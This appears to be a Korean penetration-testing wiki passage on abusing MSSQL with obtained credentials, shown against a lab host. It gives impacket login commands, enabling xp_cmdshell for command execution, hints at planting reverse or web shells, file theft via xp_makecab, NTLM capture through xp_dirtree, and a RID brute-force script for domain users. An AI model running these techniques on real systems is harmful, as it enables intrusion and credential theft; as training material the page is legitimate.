로컬에 유저 정보를 획득 시 SQL 콘솔을 통한 로컬 크리덴셜 탈취 및 쉘 획득 가능성이 존재합니다.
원격 접속은 다음 명령을 통해서 가능합니다.
# 명령어 양식
impacket-mssqlclient <Domain>/<USER>:<PASS>@<IP> -windows-auth
# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-mssqlclient pentesting.wiki/wiki:password123!@10.0.2.10 -windows-auth
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (PENTESTING\wiki guest@master)>
SQL 쉘 획득 이후 사용 가능한 XP 프로시저 목록을 확인하여
Windows Local에 관련된 공격 가능성을 탐색합니다.
SELECT name FROM dbo.sysobjects WHERE name like 'xp%'
SQL (PENTESTING\wiki dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
활성화가 성공했다면 아래 명령을 통해 명령 실행이 가능합니다.
EXEC xp_cmdshell 'whoami';
이 명령을 통해서 원격으로 리버스 쉘을 로컬로 옮긴 후 실행하거나
웹 쉘을 웹 디렉토리에 다운로드 후 접속하여 사용할 수 있습니다.
Enumeration
권한이 부족하여 커맨드 쉘 획득에 실패했다면 다른 방법으로 정보수집을 시도할 수 있습니다.
# 디렉토리 하위 목록 나열
xp_dirtree <path>
xp_dirtree, xp_makecab 프로시저가 활성화 되어있지만
커맨드 쉘을 연결하기 위한 xp_cmdshell을 사용할 수 없는 상태에서는
서버에서 탈취하고자 하는 파일을 xp_makecab을 사용하여 압축한 뒤,
그것을 웹 디렉토리에 업로드하여 브라우저를 통해 접근함으로써 파일을 탈취할 수 있습니다.
브라우저는 접속한 경로의 파일이 압축 형태일 경우 기본적으로 다운로드 하는 성질이 있기 때문입니다.
Steal NTLM Response
xp_dirtree는 Windows 로컬의 파일을 탐색하는 명령입니다.
파일 탐색기에서 \\<IP>\share 와 같이 특정 IP의 SMB 쉐어 포맷을 입력하게 되면
# Domain Administrator SID 획득
MSSQL > select sys.fn_varbintohexstr(SUSER_SID('<Domain>\Administrator'))
# python으로 코드 제작 후 파일로 저장
for i in range(500, 10000 + 1, 1):
print(f"select (SUSER_SNAME(SID_BINARY(N'<SID>-{i}')))")
# impacket의 file 플래그를 사용하여 쿼리 자동 삽입 후 도메인 유저 결과 저장
impacket-mssqlclient <User@IP> -file rids.txt | tee result.txt
# result.txt에서 유효한 도메인 유저 목록만 추출
cat result.txt | grep --text -i <Domain> | cut -d '\' -f 2 > DomainUsers.txt